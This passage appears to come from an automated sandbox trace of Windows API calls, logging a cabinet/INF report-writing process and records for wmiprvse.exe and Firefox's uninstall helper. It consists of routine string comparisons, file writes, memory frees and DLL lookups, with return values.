_Str2="InfFooter3") returned -2 [0102.433] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="InfFileName", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="InfFooter", _Str2="InfFooter3") returned -51 [0102.433] _strcmpi (_Str1="InfFooter1", _Str2="InfFooter3") returned -2 [0102.433] _strcmpi (_Str1="InfFooter2", _Str2="InfFooter3") returned -1 [0102.433] _strcmpi (_Str1="InfFooter3", _Str2="InfFooter3") returned 0 [0102.433] _vsnprintf (in: _DstBuf=0x1ff070, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf=";") returned 1 [0102.433] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0102.433] _vsnprintf (in: _DstBuf=0x1ff360, _MaxCount=0x1f, _Format="InfFooter%d", _ArgList=0x1ff1b8 | out: _DstBuf="InfFooter4") returned 10 [0102.433] _strcmpi (_Str1="Cabinet", _Str2="InfFooter4") returned -6 [0102.433] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter4") returned -6 [0102.434] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter4") returned -6 [0102.434] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter4") returned -6 [0102.434] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter4") returned -6 [0102.434] _strcmpi (_Str1="Compress", _Str2="InfFooter4") returned -6 [0102.434] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter4") returned -6 [0102.434] _strcmpi (_Str1="CompressionType", _Str2="InfFooter4") returned -6 [0102.434] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter4") returned -6 [0102.434] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter4") returned -6 [0102.434] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter4") returned -5 [0102.434] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter4") returned -5 [0102.434] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter4") returned -5 [0102.434] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter4") returned -5 [0102.434] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter4") returned -3 [0102.434] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter4") returned -3 [0102.434] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter4") returned -2 [0102.434] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter4") returned -3 [0102.434] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter4") returned -3 [0102.434] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter4") returned -3 [0102.434] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter4") returned -2 [0102.434] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter4") returned -2 [0102.434] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter4") returned -2 [0102.434] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter4") returned -6 [0102.434] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter4") returned -6 [0102.434] _strcmpi (_Str1="InfFileName", _Str2="InfFooter4") returned -6 [0102.434] _strcmpi (_Str1="InfFooter", _Str2="InfFooter4") returned -52 [0102.434] _strcmpi (_Str1="InfFooter1", _Str2="InfFooter4") returned -3 [0102.434] _strcmpi (_Str1="InfFooter2", _Str2="InfFooter4") returned -2 [0102.434] _strcmpi (_Str1="InfFooter3", _Str2="InfFooter4") returned -1 [0102.434] _strcmpi (_Str1="InfFooter4", _Str2="InfFooter4") returned 0 [0102.434] _vsnprintf (in: _DstBuf=0x1ff070, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf=";") returned 1 [0102.434] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0102.434] _vsnprintf (in: _DstBuf=0x1ff360, _MaxCount=0x1f, _Format="InfFooter%d", _ArgList=0x1ff1b8 | out: _DstBuf="InfFooter5") returned 10 [0102.434] _strcmpi (_Str1="Cabinet", _Str2="InfFooter5") returned -6 [0102.434] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter5") returned -6 [0102.434] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter5") returned -6 [0102.434] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter5") returned -6 [0102.434] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter5") returned -6 [0102.435] _strcmpi (_Str1="Compress", _Str2="InfFooter5") returned -6 [0102.435] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter5") returned -6 [0102.435] _strcmpi (_Str1="CompressionType", _Str2="InfFooter5") returned -6 [0102.435] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter5") returned -6 [0102.435] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter5") returned -6 [0102.435] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter5") returned -5 [0102.435] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter5") returned -5 [0102.435] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter5") returned -5 [0102.435] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter5") returned -5 [0102.435] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter5") returned -3 [0102.435] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter5") returned -3 [0102.435] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter5") returned -2 [0102.435] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter5") returned -3 [0102.435] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter5") returned -3 [0102.435] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter5") returned -3 [0102.435] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter5") returned -2 [0102.435] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter5") returned -2 [0102.435] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter5") returned -2 [0102.435] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter5") returned -6 [0102.435] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter5") returned -6 [0102.435] _strcmpi (_Str1="InfFileName", _Str2="InfFooter5") returned -6 [0102.435] _strcmpi (_Str1="InfFooter", _Str2="InfFooter5") returned -53 [0102.435] _strcmpi (_Str1="InfFooter1", _Str2="InfFooter5") returned -4 [0102.435] _strcmpi (_Str1="InfFooter2", _Str2="InfFooter5") returned -3 [0102.435] _strcmpi (_Str1="InfFooter3", _Str2="InfFooter5") returned -2 [0102.435] _strcmpi (_Str1="InfFooter4", _Str2="InfFooter5") returned -1 [0102.435] _strcmpi (_Str1="InfHeader", _Str2="InfFooter5") returned 2 [0102.435] _strcmpi (_Str1="InfHeader1", _Str2="InfFooter5") returned 2 [0102.435] _strcmpi (_Str1="InfHeader2", _Str2="InfFooter5") returned 2 [0102.435] _strcmpi (_Str1="InfHeader3", _Str2="InfFooter5") returned 2 [0102.435] _strcmpi (_Str1="InfHeader4", _Str2="InfFooter5") returned 2 [0102.435] _strcmpi (_Str1="InfHeader5", _Str2="InfFooter5") returned 2 [0102.435] _strcmpi (_Str1="InfHeader6", _Str2="InfFooter5") returned 2 [0102.435] _strcmpi (_Str1="InfSectionOrder", _Str2="InfFooter5") returned 13 [0102.435] _strcmpi (_Str1="MaxCabinetSize", _Str2="InfFooter5") returned 4 [0102.435] _strcmpi (_Str1="MaxDiskFileCount", _Str2="InfFooter5") returned 4 [0102.435] _strcmpi (_Str1="MaxDiskSize", _Str2="InfFooter5") returned 4 [0102.435] _strcmpi (_Str1="MaxErrors", _Str2="InfFooter5") returned 4 [0102.435] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="InfFooter5") returned 9 [0102.435] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="InfFooter5") returned 9 [0102.435] _strcmpi (_Str1="ReservePerFolderSize", _Str2="InfFooter5") returned 9 [0102.436] _strcmpi (_Str1="RptFileName", _Str2="InfFooter5") returned 9 [0102.436] _strcmpi (_Str1="SourceDir", _Str2="InfFooter5") returned 10 [0102.436] _strcmpi (_Str1="UniqueFiles", _Str2="InfFooter5") returned 12 [0102.436] _strcmpi (_Str1="DiskDirectory1", _Str2="InfFooter5") returned -5 [0102.436] _strcmpi (_Str1="CabinetName1", _Str2="InfFooter5") returned -6 [0102.436] _vsnprintf (in: _DstBuf=0x1ff010, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef68 | out: _DstBuf="InfFooter5") returned 10 [0102.436] fclose (in: _File=0x7fefd702b10 | out: _File=0x7fefd702b10) returned 0 [0102.439] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2564_2") returned 0 [0102.439] free (_Block=0x32c0c0) [0102.439] free (_Block=0x32a270) [0102.439] free (_Block=0x3297e0) [0102.439] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2564_3") returned 0 [0102.440] free (_Block=0x32d390) [0102.440] free (_Block=0x32a3f0) [0102.440] free (_Block=0x329800) [0102.440] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2564_4") returned 0 [0102.441] free (_Block=0x32d3f0) [0102.441] free (_Block=0x32a430) [0102.441] free (_Block=0x329820) [0102.441] free (_Block=0x32be40) [0102.441] _strcmpi (_Str1="Cabinet", _Str2="RptFileName") returned -15 [0102.441] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="RptFileName") returned -15 [0102.441] _strcmpi (_Str1="CabinetNameTemplate", _Str2="RptFileName") returned -15 [0102.441] _strcmpi (_Str1="ChecksumWidth", _Str2="RptFileName") returned -15 [0102.441] _strcmpi (_Str1="ClusterSize", _Str2="RptFileName") returned -15 [0102.441] _strcmpi (_Str1="Compress", _Str2="RptFileName") returned -15 [0102.441] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="RptFileName") returned -15 [0102.441] _strcmpi (_Str1="CompressionType", _Str2="RptFileName") returned -15 [0102.441] _strcmpi (_Str1="CompressionLevel", _Str2="RptFileName") returned -15 [0102.441] _strcmpi (_Str1="CompressionMemory", _Str2="RptFileName") returned -15 [0102.441] _strcmpi (_Str1="DestinationDir", _Str2="RptFileName") returned -14 [0102.441] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="RptFileName") returned -14 [0102.441] _strcmpi (_Str1="DiskLabelTemplate", _Str2="RptFileName") returned -14 [0102.441] _strcmpi (_Str1="DoNotCopyFiles", _Str2="RptFileName") returned -14 [0102.441] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="RptFileName") returned -12 [0102.441] _strcmpi (_Str1="FolderSizeThreshold", _Str2="RptFileName") returned -12 [0102.441] _strcmpi (_Str1="GenerateInf", _Str2="RptFileName") returned -11 [0102.441] _strcmpi (_Str1="InfCabinetHeader", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfCommentString", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfDateFormat", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfDiskHeader", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfDiskLineFormat", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfFileHeader", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfFileLineFormat", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfFileName", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfFooter", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfFooter1", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfFooter2", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfFooter3", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfFooter4", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfHeader", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfHeader1", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfHeader2", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfHeader3", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfHeader4", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfHeader5", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfHeader6", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="InfSectionOrder", _Str2="RptFileName") returned -9 [0102.442] _strcmpi (_Str1="MaxCabinetSize", _Str2="RptFileName") returned -5 [0102.442] _strcmpi (_Str1="MaxDiskFileCount", _Str2="RptFileName") returned -5 [0102.442] _strcmpi (_Str1="MaxDiskSize", _Str2="RptFileName") returned -5 [0102.442] _strcmpi (_Str1="MaxErrors", _Str2="RptFileName") returned -5 [0102.442] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="RptFileName") returned -11 [0102.442] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="RptFileName") returned -11 [0102.442] _strcmpi (_Str1="ReservePerFolderSize", _Str2="RptFileName") returned -11 [0102.442] _strcmpi (_Str1="RptFileName", _Str2="RptFileName") returned 0 [0102.442] fopen (_Filename="setup.rpt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1\\setup.rpt"), _Mode="wt") returned 0x7fefd702b10 [0102.442] ctime (param_1=0x1ff560) returned="Sun Jun 09 15:06:21 2019\n" [0102.443] _vsnprintf (in: _DstBuf=0x1ff210, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff168 | out: _DstBuf="Sun Jun 09 15:06:21 2019\n") returned 25 [0102.443] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 42 [0102.443] _vsnprintf (in: _DstBuf=0x1ff210, _MaxCount=0x1ff, _Format="%13ld", _ArgList=0x1ff168 | out: _DstBuf=" 1") returned 13 [0102.443] strspn (_Str=" 1", _Control=" ") returned 0xc [0102.443] strpbrk (_Str="1", _Control=" ") returned 0x0 [0102.443] printf (_Format="%s%s\n") returned 34 [0102.453] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 28 [0102.453] _vsnprintf (in: _DstBuf=0x1ff210, _MaxCount=0x1ff, _Format="%13ld", _ArgList=0x1ff168 | out: _DstBuf=" 98") returned 13 [0102.453] strspn (_Str=" 98", _Control=" ") returned 0xb [0102.453] strpbrk (_Str="98", _Control=" ") returned 0x0 [0102.453] printf (_Format="%s%s\n") returned 28 [0102.462] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 28 [0102.462] _vsnprintf (in: _DstBuf=0x1ff210, _MaxCount=0x1ff, _Format="%13ld", _ArgList=0x1ff168 | out: _DstBuf=" 76") returned 13 [0102.462] strspn (_Str=" 76", _Control=" ") returned 0xb [0102.462] strpbrk (_Str="76", _Control=" ") returned 0x0 [0102.462] printf (_Format="%s%s\n") returned 28 [0102.471] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 28 [0102.471] _vsnprintf (in: _DstBuf=0x1ff210, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0x1ff168 | out: _DstBuf=" 77.55") returned 6 [0102.471] printf (_Format="%s%s\n") returned 44 [0102.485] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 44 [0102.485] _vsnprintf (in: _DstBuf=0x1ff210, _MaxCount=0x1ff, _Format="%9.2f", _ArgList=0x1ff168 | out: _DstBuf=" 0.56") returned 9 [0102.485] _vsnprintf (in: _DstBuf=0x1ff21e, _MaxCount=0x1f1, _Format="%2d", _ArgList=0x1ff168 | out: _DstBuf=" 0") returned 2 [0102.485] _vsnprintf (in: _DstBuf=0x1ff22a, _MaxCount=0x1e5, _Format="%2d", _ArgList=0x1ff168 | out: _DstBuf=" 0") returned 2 [0102.485] _vsnprintf (in: _DstBuf=0x1ff22e, _MaxCount=0x1e1, _Format="%5.2f", _ArgList=0x1ff168 | out: _DstBuf=" 0.56") returned 5 [0102.485] printf (_Format="%s%s\n") returned 64 [0102.505] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 64 [0102.505] _vsnprintf (in: _DstBuf=0x1ff210, _MaxCount=0x1ff, _Format="%9.2f", _ArgList=0x1ff168 | out: _DstBuf=" 0.17") returned 9 [0102.505] printf (_Format="%s%s\n") returned 41 [0102.518] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 41 [0102.518] fclose (in: _File=0x7fefd702b10 | out: _File=0x7fefd702b10) returned 0 [0102.519] free (_Block=0x3270c0) [0102.519] free (_Block=0x3270d0) [0102.519] free (_Block=0x3280c0) [0102.519] free (_Block=0x3292f0) [0102.519] free (_Block=0x3270e0) [0102.519] free (_Block=0x328100) [0102.519] free (_Block=0x328cc0) [0102.519] free (_Block=0x3270f0) [0102.519] free (_Block=0x328140) [0102.519] free (_Block=0x328ce0) [0102.519] free (_Block=0x327100) [0102.519] free (_Block=0x328180) [0102.519] free (_Block=0x328d00) [0102.519] free (_Block=0x327110) [0102.519] free (_Block=0x3281c0) [0102.519] free (_Block=0x328d20) [0102.519] free (_Block=0x327120) [0102.519] free (_Block=0x328200) [0102.519] free (_Block=0x329320) [0102.519] free (_Block=0x327130) [0102.519] free (_Block=0x328240) [0102.519] free (_Block=0x328d40) [0102.519] free (_Block=0x327140) [0102.519] free (_Block=0x328280) [0102.519] free (_Block=0x328d60) [0102.519] free (_Block=0x327150) [0102.519] free (_Block=0x3282c0) [0102.519] free (_Block=0x328d80) [0102.519] free (_Block=0x327160) [0102.520] free (_Block=0x328300) [0102.520] free (_Block=0x328da0) [0102.520] free (_Block=0x327220) [0102.520] free (_Block=0x328340) [0102.520] free (_Block=0x328dc0) [0102.520] free (_Block=0x327180) [0102.520] free (_Block=0x328380) [0102.520] free (_Block=0x328de0) [0102.520] free (_Block=0x327190) [0102.520] free (_Block=0x3283c0) [0102.520] free (_Block=0x328e00) [0102.520] free (_Block=0x3271a0) [0102.520] free (_Block=0x328400) [0102.520] free (_Block=0x329350) [0102.520] free (_Block=0x3271b0) [0102.520] free (_Block=0x328440) [0102.520] free (_Block=0x328e20) [0102.520] free (_Block=0x3271c0) [0102.520] free (_Block=0x328480) [0102.520] free (_Block=0x328e40) [0102.520] free (_Block=0x3271d0) [0102.520] free (_Block=0x3284c0) [0102.520] free (_Block=0x328e60) [0102.520] free (_Block=0x328e80) [0102.520] free (_Block=0x328500) [0102.520] free (_Block=0x328ea0) [0102.520] free (_Block=0x329380) [0102.520] free (_Block=0x328540) [0102.520] free (_Block=0x328ec0) [0102.520] free (_Block=0x3271e0) [0102.520] free (_Block=0x328580) [0102.520] free (_Block=0x328ee0) [0102.520] free (_Block=0x328f00) [0102.520] free (_Block=0x3285c0) [0102.520] free (_Block=0x328f20) [0102.520] free (_Block=0x328f40) [0102.520] free (_Block=0x328600) [0102.520] free (_Block=0x328f60) [0102.520] free (_Block=0x328f80) [0102.520] free (_Block=0x328640) [0102.520] free (_Block=0x328fa0) [0102.520] free (_Block=0x3293e0) [0102.520] free (_Block=0x328680) [0102.520] free (_Block=0x329400) [0102.520] free (_Block=0x329bb0) [0102.520] free (_Block=0x3286c0) [0102.521] free (_Block=0x329420) [0102.521] free (_Block=0x329440) [0102.521] free (_Block=0x328700) [0102.521] free (_Block=0x329460) [0102.521] free (_Block=0x329be0) [0102.521] free (_Block=0x328740) [0102.521] free (_Block=0x329480) [0102.521] free (_Block=0x329c30) [0102.521] free (_Block=0x328780) [0102.521] free (_Block=0x3294a0) [0102.521] free (_Block=0x329cf0) [0102.521] free (_Block=0x329cb0) [0102.521] free (_Block=0x3294c0) [0102.521] free (_Block=0x32ac80) [0102.521] free (_Block=0x329d30) [0102.521] free (_Block=0x3294e0) [0102.521] free (_Block=0x32acd0) [0102.521] free (_Block=0x329d70) [0102.521] free (_Block=0x329500) [0102.521] free (_Block=0x32ad20) [0102.521] free (_Block=0x329db0) [0102.521] free (_Block=0x329520) [0102.521] free (_Block=0x32ad70) [0102.521] free (_Block=0x329df0) [0102.521] free (_Block=0x329540) [0102.521] free (_Block=0x329e70) [0102.521] free (_Block=0x329e30) [0102.521] free (_Block=0x329560) [0102.521] free (_Block=0x32adc0) [0102.521] free (_Block=0x329eb0) [0102.521] free (_Block=0x329580) [0102.521] free (_Block=0x32ae40) [0102.521] free (_Block=0x329ef0) [0102.521] free (_Block=0x3295a0) [0102.521] free (_Block=0x32ae90) [0102.521] free (_Block=0x329f30) [0102.521] free (_Block=0x3295c0) [0102.521] free (_Block=0x32aee0) [0102.521] free (_Block=0x329f70) [0102.521] free (_Block=0x3295e0) [0102.521] free (_Block=0x3271f0) [0102.521] free (_Block=0x329fb0) [0102.521] free (_Block=0x329600) [0102.521] free (_Block=0x327200) [0102.521] free (_Block=0x329ff0) [0102.522] free (_Block=0x329620) [0102.522] free (_Block=0x327210) [0102.522] free (_Block=0x32a030) [0102.522] free (_Block=0x329640) [0102.522] free (_Block=0x3270b0) [0102.522] free (_Block=0x32a070) [0102.522] free (_Block=0x329660) [0102.522] free (_Block=0x327230) [0102.522] free (_Block=0x32a0b0) [0102.522] free (_Block=0x329680) [0102.522] free (_Block=0x327240) [0102.522] free (_Block=0x32a0f0) [0102.522] free (_Block=0x3296a0) [0102.522] free (_Block=0x327250) [0102.522] free (_Block=0x32a130) [0102.522] free (_Block=0x3296c0) [0102.522] free (_Block=0x327260) [0102.522] free (_Block=0x32a170) [0102.522] free (_Block=0x3296e0) [0102.522] free (_Block=0x329700) [0102.522] free (_Block=0x32a1b0) [0102.522] free (_Block=0x329720) [0102.522] free (_Block=0x327270) [0102.522] free (_Block=0x32a1f0) [0102.522] free (_Block=0x329740) [0102.522] free (_Block=0x327280) [0102.522] free (_Block=0x32a230) [0102.522] free (_Block=0x3297a0) [0102.522] free (_Block=0x32d420) [0102.522] free (_Block=0x32a2b0) [0102.522] free (_Block=0x329780) [0102.522] free (_Block=0x329760) [0102.522] free (_Block=0x32a470) [0102.522] free (_Block=0x328ca0) [0102.522] free (_Block=0x32a370) [0102.522] free (_Block=0x32d2c0) [0102.522] free (_Block=0x3297c0) [0102.522] free (_Block=0x32a3b0) [0102.522] free (_Block=0x32a330) [0102.522] free (_Block=0x328080) [0102.522] free (_Block=0x325aa0) [0102.522] free (_Block=0x328c80) [0102.522] free (_Block=0x325f30) [0102.522] exit (_Code=0) Process: id = "16" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x3cad2000" os_pid = "0x944" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x370" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0005fb64" [0xc000000f] Thread: id = 242 os_tid = 0xa44 Thread: id = 243 os_tid = 0xa40 Thread: id = 244 os_tid = 0xa4c Thread: id = 245 os_tid = 0x948 Thread: id = 246 os_tid = 0x968 Thread: id = 247 os_tid = 0x964 Thread: id = 248 os_tid = 0x96c Thread: id = 249 os_tid = 0x178 Thread: id = 250 os_tid = 0x9c8 Thread: id = 430 os_tid = 0x8fc Thread: id = 523 os_tid = 0xa0c Process: id = "17" image_name = "helper.exe" filename = "c:\\program files (x86)\\mozilla firefox\\uninstall\\helper.exe" page_root = "0x38385000" os_pid = "0xafc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb64" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe\" /SetAsDefaultAppUser" cur_dir = "C:\\Program Files (x86)\\Mozilla Firefox\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 269 os_tid = 0xaf8 [0118.463] VirtualProtect (in: lpAddress=0x10004020, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x10004028 | out: lpflOldProtect=0x10004028*=0x4) returned 1 [0118.463] Call () returned 0x0 [0118.464] lstrcpyW (in: lpString1=0x66fb58, lpString2="kernel32::SetDllDirectoryW(w \"\")" | out: lpString1="kernel32::SetDllDirectoryW(w \"\")") returned="kernel32::SetDllDirectoryW(w \"\")" [0118.464] lstrcpyW (in: lpString1=0x66bb48, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.464] lstrcpyW (in: lpString1=0x663b28, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.465] lstrcpyW (in: lpString1=0x664328, lpString2="SetDllDirectoryW" | out: lpString1="SetDllDirectoryW") returned="SetDllDirectoryW" [0118.465] lstrcpyW (in: lpString1=0x673b68, lpString2="" | out: lpString1="") returned="" [0118.465] GetModuleHandleW (lpModuleName="kernel32") returned 0x769e0000 [0118.465] lstrcmpiW (lpString1="kernel32", lpString2="kernel32") returned 0 [0118.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetDllDirectoryW", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0118.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetDllDirectoryW", cchWideChar=-1, lpMultiByteStr=0x63a0e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetDllDirectoryW", lpUsedDefaultChar=0x0) returned 17 [0118.465] GetProcAddress (hModule=0x769e0000, lpProcName="SetDllDirectoryW") returned 0x76a7004f [0118.465] lstrcpynW (in: lpString1=0x6657d0, lpString2="", iMaxLength=8196 | out: lpString1="") returned="" [0118.465] lstrcpyW (in: lpString1=0x6697e0, lpString2="" | out: lpString1="") returned="" [0118.466] SetDllDirectoryW (lpPathName="") returned 1 [0118.466] lstrcpynW (in: lpString1=0x6697e0, lpString2="", iMaxLength=8196 | out: lpString1="") returned="" [0118.467] lstrcpyW (in: lpString1=0x6657d0, lpString2="" | out: lpString1="") returned="" [0118.471] Call () returned 0x0 [0118.471] lstrcpyW (in: lpString1=0x68bc00, lpString2="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" | out: lpString1="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6") returned="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" [0118.472] lstrcpyW (in: lpString1=0x687bf0, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.472] lstrcpyW (in: lpString1=0x67fbd0, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.472] lstrcpyW (in: lpString1=0x6803d0, lpString2="GetLongPathNameW" | out: lpString1="GetLongPathNameW") returned="GetLongPathNameW" [0118.473] GetModuleHandleW (lpModuleName="kernel32") returned 0x769e0000 [0118.473] lstrcmpiW (lpString1="kernel32", lpString2="kernel32") returned 0 [0118.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0118.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x63a0e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetLongPathNameW", lpUsedDefaultChar=0x0) returned 17 [0118.473] GetProcAddress (hModule=0x769e0000, lpProcName="GetLongPathNameW") returned 0x769fa315 [0118.473] lstrcpyW (in: lpString1=0x681878, lpString2="C:\\Program Files (x86)\\Mozilla Firefox" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.473] lstrcpynW (in: lpString1=0x685888, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.473] lstrcpyW (in: lpString1=0x681878, lpString2="" | out: lpString1="") returned="" [0118.473] lstrcpynW (in: lpString1=0x689898, 